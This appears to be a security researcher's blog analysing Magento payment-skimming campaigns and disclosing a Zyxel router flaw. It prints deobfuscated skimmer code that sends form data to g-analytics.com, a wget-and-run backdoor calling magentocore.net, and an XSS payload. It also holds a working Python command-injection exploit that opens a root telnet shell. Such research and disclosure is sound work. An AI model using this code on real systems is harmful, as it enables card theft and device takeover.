A Google Analytics thief uncovered

Criminals are found using Google Analytics to disguise their malware campaigns and stay under the radar.

google analytics fraud

Would you - a webdeveloper - get alarmed if you found the following code on your website? Probably not, as Google Analytics is embedded in pretty much every website these days:

<script type="text/javascript"> (function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 
    'https://' : 'http://') + 'g-analytics.com/libs/analytics.js';
(document.getElementsByTagName('head')[0] || 
var _qaq = _qaq || [];
_qaq.push(['_setAccount', 'UA-30188865-1']);
_qaq.push(['_trackPageview']); </script>

However, you just skimmed over an ingenious impersonation. The domain g-analytics.com is not owned by Google, as opposed to its legitimate google-analytics.com counterpart. The fraud is hosted on a dodgy Russian/Romanian/Dutch/Dubai network called HostSailor. The malware behaves pretty much like the real Google Analytics, and it wouldn’t raise any dev eyebrows while monitoring Chrome’s waterfall chart. It requests __utm.gif, just like other Google Analytics trackers:

g-analytics.com waterfall

Upon closer inspection, the utm.gif request is a POST (uncommon). And it sends a suspicious amount of data over:

utm.gif requests

Among others, it sends my supposed screen resolution of 2560x1440 (I wish!). The track parameter appears to be the real payload. The calling Javascript is obfuscated (backup) using a free service but with some help of JSnice and manual dissection, I extracted:

$(function(saveNotifs) {
saveNotifs('button, .form-button, .onestepcheckout-button, .btn')['on']('click', function() {
    // ...
    if ((new RegExp('onepage|checkout|onestep|payment|admin|account|login|password|cart'))['test'](location)) {
    var all_form_fields = document['querySelectorAll']('input, select, textarea, checkbox');
    // ...
    if (payload) {
        var credit_card_regex = new RegExp('[0-9]{13,16}');
        var password = '4d25a9bb5f714290adb1334942e2e94f0c2595f5af50aeb9bc811717650fce08';
        var cloudSaveObject = payload + '&asd=' + (credit_card_regex['test'](payload['replace'](/s/g, '')) ? 1 : 0) + '&utmp=' + cur_url;
        var base64encoded_gibberish = btoa(GibberishAES['enc'](cloudSaveObject, password));
        my_xhr['open'](my_http_method, saveNotifs('<div />')['html']('//g-analytics.com/__utm.gif?v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560x1440&vp=2145x371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071')['text'](), true);
        my_xhr['send']('v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560x1440&vp=2145x371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071&track=' + base64encoded_gibberish);

We can deduce:

  1. The malware checks if the current page has anything to do with “account”, “login”, “payment” or “password”. If so, it activates.
  2. When a button is clicked, it collects all user input, and encrypts them using Gibberish-AES and the password 4d25a....
  3. It base64 encodes the encrypted object and posts it to the g-analytics.com server.

To verify this, I tried to AES decrypt the payload using the same password (aes decryptor here):

$ python decrypt-aes.py

billing[street][]=Fakestreet 13

Voila, my address, email and credit card info out in the open.


The g-analytics malware has spread to various websites. Interestingly, some websites embed a versioned copy, such as:


I enumerated all possible copies and checked for the “Last-Modified” header:

$ for i in $(seq 1 20); do 
    wget --mirror https://g-analytics.com/libs/1.0.$i/analytics.js; 
$ ls -rtl */* | cut -b28-
130744 jun 23 04:47 1.0.1/analytics.js
 30866 jun 27 06:25 1.0.3/analytics.js
 32258 jun 27 13:06 1.0.4/analytics.js
 32231 jun 28 17:11 1.0.6/analytics.js
 34288 jun 28 18:03 1.0.7/analytics.js
 31330 jun 28 19:25 1.0.5/analytics.js
 75557 jun 30 15:41 1.0.8/analytics.js
 30838 jul  2 08:51 1.0.9/analytics.js
 31098 jul  4 17:41 1.0.11/analytics.js
 56946 jul  5 07:29 1.0.10/analytics.js
 57603 jul  5 09:43 1.0.12/analytics.js
 24069 jul  7 05:58 1.0.14/analytics.js
 31234 jul  7 14:27 1.0.13/analytics.js
 35515 jul 10 11:44 1.0.15/analytics.js

The malware creator seemed to have created 14 different copies over the course of 3 weeks. At least versions 1.0.10 and 1.0.12 include a fake payment popup form that was built for a specific website. These instances are still harvesting passwords and identities as of today.

MagentoCore skimmer most aggressive to date

real skimming

A single group is responsible for planting skimmers on 7339 individual stores in the last 6 months. The MagentoCore skimmer is now the most successful to date.

Update 2018-09-07: Because Google Chrome has added the campaign to its blocklist last Saturday, the skimmers are now rapidly replacing “magentocore.net” with “magento.name”. In the last 24h, they have updated at least 190 compromised stores.

Online skimming - your identity and card are stolen while you shop - has been around for a few years, but no campaign has been so prolific as the MagentoCore.net skimmer. In the last 6 months, the group has turned 7339 individual stores into zombie money machines, to the benefit of their illustrious masters.

The average recovery time is a few weeks, but at least 1450 stores have hosted the MagentoCore.net parasite during the full past 6 months.

The group hasn’t finished yet: new brands are hijacked at a pace of 50 to 60 stores per day over the last two weeks (source: daily scans of yours truly).

The victim list contains multi-million dollar, publicly traded companies, which suggests the malware operators make a handsome profit. But the real victims are eventually the customers, who have their card and identity stolen.

How it works

The MagentoCore skimmers gain illicit access to the control panel of an e-commerce site, often with brute force techniques (automatically trying lots of passwords, sometimes for months). Once they succeed, an embedded piece of Javascript is added to the HTML template:

<script type="text/javascript" src="https://magentocore.net/mage/mage.js"></script>

This script (backup) records keystrokes from unsuspecting customers and sends everything in real-time to the “magentocore.net” server, registered in Moscow.

The malware includes a recovery mechanism as well. In case of the Magento software, it adds a backdoor to cron.php. That will periodically download malicious code, and, after running, delete itself, so no traces are left.

shell_exec("wget -c https://magentocore.net/clean.json -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c https://magentocore.net/clear.json -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");

The file clean.json (backup) is PHP code that removes any competing malware from the site, searching for ATMZOW, 19303817.js and PZ7SKD.

The file clear.json (backup) changes the password of several common staff user names to how1are2you3 (see below for list).

What you can do

If you are a merchant and found the MagentoCore.net skimmer in your store, this is the to-do list for your ops team / forensic investigator.

  1. Find the entry point: how could attackers gain unauthorized access in the first place? Analyse backend access logs, correlate with staff IP’s and typical working hours. If suspicious activity is recorded from staff IPs, it could be that a staff computer is infected with malware, or that the attacker has hijacked an authorized session.
  2. Find backdoors and unauthorized changes to your codebase. Usually there are a few, both in frontend/backend code and the database. My opensource Magento Malware Scanner can be useful here.
  3. Once you have established all means of unauthorized access, close them all at once.
  4. Remove the skimmer, backdoors and other code. Revert to a certified safe copy of the codebase, if possible. Malware is often hidden in default HTML header/footers, but also in minimized, static Javascript files, hidden in deep in the codebase. You should check all HTML/JS assets that are loaded during the checkout process.
  5. Implement secure procedures that cover timely patching, strong staff passwords etcetera. A good starting point.

If your team has little experience with forensic analysis, it generally pays off to hire a professional investigator. S/he will find the entry vector faster and perhaps more important, has a lower risk of leaving any undetected backdoors. One missed backdoor and you can start all over in a few weeks.

Admin user names

The MagentoCore malware will set the password to how1are2you3 for the following admin accounts periodically:

1468177885   1470303373   a            aborman      acid         admin01      
admin1       admin123     admin5       adminhendra  adminnew     adminray     
admins       adminu       admin_bfei   admin_ihfb   afletcher    ajen         
alexgvn123   alif         ameendering  Ameliaaa     an           anin48       
anjeng       anjeng12     Anr_01       ardyan       as           asdasd       
astroeh      asu123       asuasu       asulan123    Audi         azer         
aziz         Backup       backup_35f69 badcc        bangsat      berandal     
bgades       bgross       biji         bschlotter   bwilson      c0krek       
cahyodp      camuv1653    casa         cbaker       cecun        cevans       
cgcf         cgreenfield  cknobloch    clayser      ClayX404     cmorgan      
coco         codex        coq          cruis        cvanstryland cwarton      
d            dalexander   ddoine       Death        dede         dedeganteng  
default123   defaults     defaults01   defaut123    design       developer    
dhsjcsc      diablox      Dian2206     dkelly       dlc          dmorgan      
dpender      dsacks       dstefan      eCommerce    edorr        ehooser      
einlow       ejameson     ekennedy     erik         erobinson    eznt@i.ryanb 
family       faqih212     FathurFreakz ferdi123     fikrihaikal3 forme        
frozen404    fwilde       geizkayusuf  gfd          ggrav        ghaz         
gigihmhd     gladz        gmr          golix19      GolixGates1  google       
gustaman     haydar       haydra       hell         hiddenymouz  hornetto     
hunter2      hydro        Hysoka       i            ibizta       iko          
indoxploit   iniadmin     irfan        jaja         jancok       jancoks      
janderson    jayzweed     jbonnell     jdragovich   jefri        JelexCrew    
jengel       jhemphill    jhogan       jhult        jmartin      jockerdz     
jonson       jtappe       juancok      katon        kedaong      kehise       
kenta        khise        khoogers     kimak        kimyounsin   king         
kkruger      kmagnan      knap13       knelson      Kontol900!   kotack       
kuyas        kwwilliams   kwynia       lalapo123    LastTouch    lluethje     
localsystem  Loic         lthummagunta lucu         m4tr1x       madmax       
maganeto     magento      magento1     mageplas     magsupport   malang       
manggo       manick       masthio01    mcopa        meldred      Memekl3g17   
mgonzalez    mind         mlaudenbach  mlomo        momo         moza         
mperry       mranupak     mrsakso      msas         msf          msivalingam  
mtrudell     mturico      mwaldner     mwelbig      mwendt       nathan       
nbrouwer     ncastelli    neqyns13     ngentod      ngentot123   nmccray      
nnordman     noob         novara       nrussell     nzero        o            
omyo123      ouni         owadmin      pak          paypal       pbk7695K@    
penggunalaya pikri        policy       pujasucipto  putra7695K   r0cky        
rami         rctioke7     rcummings    rdewolfe     restuser     revian29     
rezafirdaus  rezafirdaus2 rhaan        Rieqy        rieqyns13    rkm48        
rmiller      robert       Root         rseeker      s            sadmin       
samikom      sav.admin    saz          sdunham      semprol      sgood        
sgoodman     shansen      shayer       sheinz25     Shor7cut     Sihdaunix    
sjohnson     slackerc0de  slamusga     smolix       soliro       ss123        
staff.develo stores       stupid       Support      surya        surya1       
svandenheuve swhite       sysadm       sysadmiin    sysadmin     sysadmin1    
sysmon       system32     systemadmin  systembackup T1KUS90T     tadamec      
tae          tamedeo      tanderson    task         teastmond    telgersma    
terserah     tesdar       test         tfgh         Thole129     tomhawk      
training     tvanhouten   ubehera      ui           upel666      uSer         
VHiden133    vpotter      wajixz       wawa         wew          ybickham     
youmisscry   ywigaraa     zadmin       zaz          ziko         zxc          
zxcyou636    _admin       gogle        Nexcess      

Further reading

Hackers breached Magento through helpdesk

Magento merchants have recently received messages like this:

Hey, I strongly recommend you to make a redesign! Please contact me if you need a good designer! – knockers@yahoo.com

Upon closer examination, the message contains a specially crafted sender that contains an XSS attack: an attempt to take control of the backend of a Magento store (archived copy here):

<script src="https://helpdeskjs.com/jquery.js"></script>@gmail.com

This exploits a bug in the popular Mirasvit Helpdesk extension. When a helpdesk agent opens the ticket, it will run the code in the background, in the browser of the agent. Then, malware is added to the footer of the Magento template, so that it is run by all store visitors. Ultimately, the malware intercepts payments data and send it offshore as the customer types it into the payment form.


This attack is particularly sophisticated, as it is able to bypass many security measures that a merchant might have taken. For example, IP restriction on the backend, strong passwords, 2-Factor-Authentication and using a VPN tunnel will not block this attack.

Have you been targeted?

Run this query on your database to find XSS attacks like these:

FROM `m_helpdesk_message`
WHERE `customer_email` LIKE '%script%'
OR `customer_name` LIKE '%<script%'
OR `body` LIKE '%<script%' \G

Search your access logs for modifications of templates through the backend:

$ grep system_config/save/section/design access.log

The Mirasvit Helpdesk flaw was discovered and published on September 21st, but - until now - hasn’t been seen exploited in the wild.

Meanwhile, Mirasvit has released an update for its helpdesk software (v1.5.3). It is recommended to install this as soon as possible.

Other recommendations for store owners to block this type of attack:

  1. Monitor your store for modified head/footer template insertions
  2. Add a CSP header to disallow foreign Javascript execution altogether

Do you have a compromised Magento store? I am available for forensic analysis to identify the root cause and sufficient mitigation measures. An analysis can usually be completed within a week and is 100% confidential.

I have added detection signatures to the open source Magento Malware Scanner.

Cryptojacking found on 2496 online stores

Does your laptop get hot when visiting your favorite shop? You computer is likely mining cryptocurrencies to the benefit of a cyberthief.

Cryptojacking disguising as Sucuri

Cryptojacking - running crypto mining software in the browser of unsuspecting visitors - is quickly spreading around the web. And the landgrab extends to online stores. The infamous CoinHive software was detected today on 2496 e-commerce sites.

Skimming and cryptomining, a golden match

Now, it does not seem likely that the legitimate store owners wanted to earn a few extra bucks and have added CoinHive themselves. I found that 80% of cryptomining stores also contain payment skimming malware. Apparently, cyberthieves are squeezing every penny out of their confiscated assets.

Spread fuelled by just a few individuals

As CoinHive requires a unique ID, we can analyze the distribution of crypto thieves. Out of 2496 infected stores, 85% is linked to only 2 CoinHive accounts, while the remaining 15% is spread out over unique CoinHive accounts. Because the tag added to this remaining 15% segment is consistenly the site’s name, my guess is that this cryptojacking surge on online stores can be attributed to just 3 individuals or groups.

Well hidden

Some sites bluntly include the official coinhive.js file, others are more stealthy and include an iframe that points to siteverification.online. This site shows a default Debian installation page but include a cryptominer nevertheless. Yet others disguise as Sucuri Firewall.

Fix for your browser

Use an adblocker or install a Chrome plugin or add coin-hive.com coinhive.com to your hosts file.

I have added detection signatures to the open source Magento Malware Scanner

Hacking the KPN Zyxel DSL router (P-2812HNU-F1)

zyxel p-2812uhn-f1

Zyxel P2812 DSL routers are commonly used in the Netherlands and Norway. A command injection vulnerability exists in the latest KPN/Telfort routers that allows root access.

Proof of concept exploit

Works against firmware V3.11TUE8. At least TUE3 is also affected, but requires slight modification (no sessionKey). Telenor branded Zyxel routers are not affected since at least BLN.18.

#!/usr/bin/env python3 
# 2017-02-03 gwillem@gmail.com

import requests
import re

USER = 'user'
PASS = '1234'
URL = ''
CMD = '/sbin/telnetd -l/bin/sh -p9999 &'

s = requests.Session()
s.post(URL + 'login.cgi', data=dict(
r = s.get(URL + 'fileuser_mod.cgi')
assert 'sessionKey' in r.text, r.text

sessionkey = re.search("gblsessionKey = '(.+?)'", r.text).group(1)
assert len(sessionkey) > 24, sessionkey

r = s.post(URL + 'qos_queue_add.cgi', data=dict(
        WebQueueInterface='WAN`%s`' % CMD,

if "window.parent.document.activePage('network-qos',1)" in r.text:
    print("Success, root shell at port 9999")
    print("Did not work, see output:\n" + r.text)


$ ./open-sesame.py
$ telnet 9999
Connected to
Escape character is '^]'.
# id
uid=0(root) gid=0(root)

Disclosure timeline

2017-02-05 Notified cert@kpn-cert.nl
2017-02-11 Notified cert@telenor.net
2017-02-15 KPN: "escalated to Zyxel"
2017-02-23 Telenor: "we have fixed this already in BLN18"
2017-02-23 KPN: "still waiting for Zyxel"
2017-04-07 KPN: "still waiting for Zyxel"
2017-05-08 KPN: "we got a patch"
2017-05-15 KPN: "still testing the patch"
2017-05-18 KPN: "still testing the patch"
2017-05-30 KPN: "still testing the patch"
2017-06-15 KPN: "testing failed, waiting for Zyxel"
2017-09-28 Public disclosure

Securing access

A firmware update will surely lock me out, and my goal is to override some of the Zyxels DNS settings. I ensure future access by eliminating the call-home and update mechanism (TR-069).

The /etc partition is mounted as tmpfs on a running system and populated in /etc/init.d/rcS. The root partition is mounted read-only. To persist my changes:

ls -l /proc/*/fd/* | grep etc
pkill smbd
pkill dnsmasq
# kill everything else that blocks
umount /etc
mount -t yaffs2 -o remount,rw /

Now I can alter /etc/init.d/rcS. Warning: a syntax error will brick my system. So it’s best to minize modifications to the system and put most of it on a USB memory stick.

My modified rcS script only copies a file to /etc/automount/automount.d/auto-usb-run.sh. This is run every time a USB disk is inserted. If the USB disk contains an init.sh file, it is executed. Extra profit: I only have to re-plug my USB stick to test changes to my script.

In my init.sh script, I’ll ensure to kill zytr069main. This process does a periodic check with my ISP and will possibly download new firmware.

zyxel p-2812uhn-f1

Zyxel rant

IMHO Zyxel’s hardware is quite ok, but the software tells a tale of tight deadlines and churn in the dev team. For example,

This Zyxel model was rooted before but it was fixed (incompletely) by stripping special characters in user input.

Note-to-self on firmware analysis

The ISP-branded firmware is not publicly available, but the latest Zyxel firmware is very similar and up for grabs.

Installed the latest binwalk and all its dependencies, especially yaffs and sasquatch.

Ran binwalk -eM <image> to extract the root filesystem. Under /usr/share/web I found the GUI system.

Ran strings on these binaries to find interesting pointers, for example, all binaries that do shell-interpreted system calls:

$ strings -f * | grep % | grep '>'
wlan_wps.cgi: %s conf > /dev/null
wwancfg.cgi: cp -rf %s %s >/dev/null 2>/dev/null
status.cgi: %s lsg | grep nLineState | awk '{print $2}' | sed -e 's/nLineState=0x*//g' > /tmp/linestatus
diagnostic.cgi: echo set to html %d,%s>> /dev/console

Useful tools: mitmproxy in combination with the SwitchySharp auto proxy switcher for Chrome.


  1. Zyxel firmware fixes are not necessarily distributed among all ISP clients.
  2. The Zyxel firmware does not seem subject to rigorous QA procedures, for which the burden is then shifted to ISPs.
  3. This is a killer for quick distribution of hot-fixes.